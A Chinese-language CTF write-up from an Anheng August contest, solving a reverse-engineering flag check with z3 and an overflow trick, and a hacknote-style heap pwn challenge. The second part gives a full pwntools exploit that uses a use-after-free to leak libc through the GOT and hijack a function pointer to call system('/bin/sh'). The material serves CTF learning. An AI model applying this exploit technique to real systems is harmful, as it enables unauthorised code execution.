安恒八月赛_Re&&PWN

很简单的题目:

0x01 Dig the way2

有点像极客巅峰第一场的Re
没给执行文件,不过这题idb静态就可以了
首先:

1
2
3
_func0 = func0;
_func1 = func1;
_func2 = func2;

func0交换数值
func1:abs(a+b)-abs(a)-abs(b)+2
func2:abs(a)+abs(b)-abs(a+b)+2
首先函数check了一下flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bool __cdecl check(_BYTE *a1)
{
if ( (char)a1[7] + (char)a1[6] != (char)a1[8] )
return 0;
if ( (char)a1[10] + (char)a1[9] != (char)a1[11] )
return 0;
if ( (char)a1[13] + (char)a1[12] != (char)a1[14] )
return 0;
if ( (char)a1[16] + (char)a1[15] != (char)a1[17] )
return 0;
if ( (char)a1[19] + (char)a1[18] == (char)a1[20] )
return (a1[8] ^ (unsigned __int8)(a1[11] ^ a1[14] ^ a1[17] ^ a1[21])) == a1[5];
return 0;
}

这里可以选择把几个式子仍z3里就可以
接着往下看getvalue:

1
2
3
4
5
6
7
8
9
10
int __cdecl getValue(int a1)
{
signed int i; // [esp+8h] [ebp-8h]
int v3; // [esp+Ch] [ebp-4h]

v3 = 0;
for ( i = 6; i <= 19; i += 3 )
v3 = 100 * v3 + 10 * (*(char *)(i + a1) - 48) + *(char *)(i + 1 + a1) - 48;
return v3;
}

显然,可以猜测,flag有一段是每隔三位有两个数字,提取出来后连接成一个十进制数,getvalue用于返回这个大数的数值:
猜测flag形式:

1
flag{a11a11a11a11a11a}

flag长度在check和flag在栈中位置大小可以体现
最后函数对a[2]=func2(flag_value,-flag_value)进行了判断
由绝对值不等式,解不可能存在
由此想到overflow,构造value=0xfffffffe/2:

1
2
3
4
5
6
7
key=str(0xfffffffe/2)
flag="flag{"
key2=""
for i in range(0,len(key),2):
key2+=key[i]+key[i+1]+chr(ord(key[i])+ord(key[i+1]))
flag+=chr(ord(key2[2])^ord(key2[5])^ord(key2[8])^ord(key2[11])^ord("}"))+key2+"}"
print flag

也可以不用分析,直接z3解(脚本写的丑了些):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from z3 import *

def abs(x):
return If(x >= 0,x,-x)

s = Solver()
a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17=BitVecs('a1 a2 a3 a4 a5 a6 a7 a8 a9 a10 a11 a12 a13 a14 a15 a16 a17',32)

s.add(a1>96)
s.add(a2>47)
s.add(a3>47)
s.add(a4>96)
s.add(a5>47)
s.add(a6>47)
s.add(a7>96)
s.add(a8>47)
s.add(a9>47)
s.add(a10>96)
s.add(a11>47)
s.add(a12>47)
s.add(a13>96)
s.add(a14>47)
s.add(a15>47)
s.add(a16>96)
s.add(a1<122)
s.add(a2<58)
s.add(a3<58)
s.add(a4<122)
s.add(a5<58)
s.add(a6<58)
s.add(a7<122)
s.add(a8<58)
s.add(a9<58)
s.add(a10<122)
s.add(a11<58)
s.add(a12<58)
s.add(a13<122)
s.add(a14<58)
s.add(a15<58)
s.add(a16<122)
s.add(a17==125)
s.add(a3 + a2==a4)
s.add(a6 + a5 == a7)
s.add(a9 + a8 == a10)
s.add(a12 + a11 == a13)
s.add(a15 + a14 == a16)
s.add(a7^a10^a13^a17^a4==a1)
s.add(a15-48+(a14-48)*10+(a12-48)*100+(a11-48)*1000+(a9-48)*10000+(a8-48)*100000+(a6-48)*1000000+(a5-48)*10000000+(a3-48)*100000000+(a2-48)*1000000000==2147483647)
print(s.check())
print(s.model())
mod=s.model()
key=[a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17]
ans=""
for i in key:
ans+=chr(int(str(mod[i])))
print "flag{"+ans

0x02 Unote2

算是pwnable.tw的hacknote原题
只是稍微改了些东西:

1
http://kirin-say.top/2018/06/05/pwnable-tw-hacknote/

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

def add_note(size,content):
print p.recvuntil("choice :")
p.sendline("1")
print p.recvuntil("size :")
p.sendline(size)
print p.recvuntil("Content :")
p.sendline(content)

def delete_note(index):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(index)

def print_note(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(index)

p=process("./note")
elf=ELF("./note")
elib=ELF("./libc-2.23.so")
puts_got=elf.got["puts"]
putnote=0x804865b
add_note("16",15*"a")
add_note("16",15*"a")
delete_note('0')
delete_note('1')
add_note('8',p32(putnote)+p32(puts_got))
print_note('0')
p.recvuntil("content :")
puts_addr=u32(p.recv(4))
print hex(puts_addr)
sys_addr=puts_addr-elib.symbols["puts"]+elib.symbols["system"]
bin_sh_addr=puts_addr-elib.symbols["puts"]+0x15ba0b
delete_note('2')
add_note('8',p32(sys_addr)+p32(bin_sh_addr))
print_note('0')
p.interactive()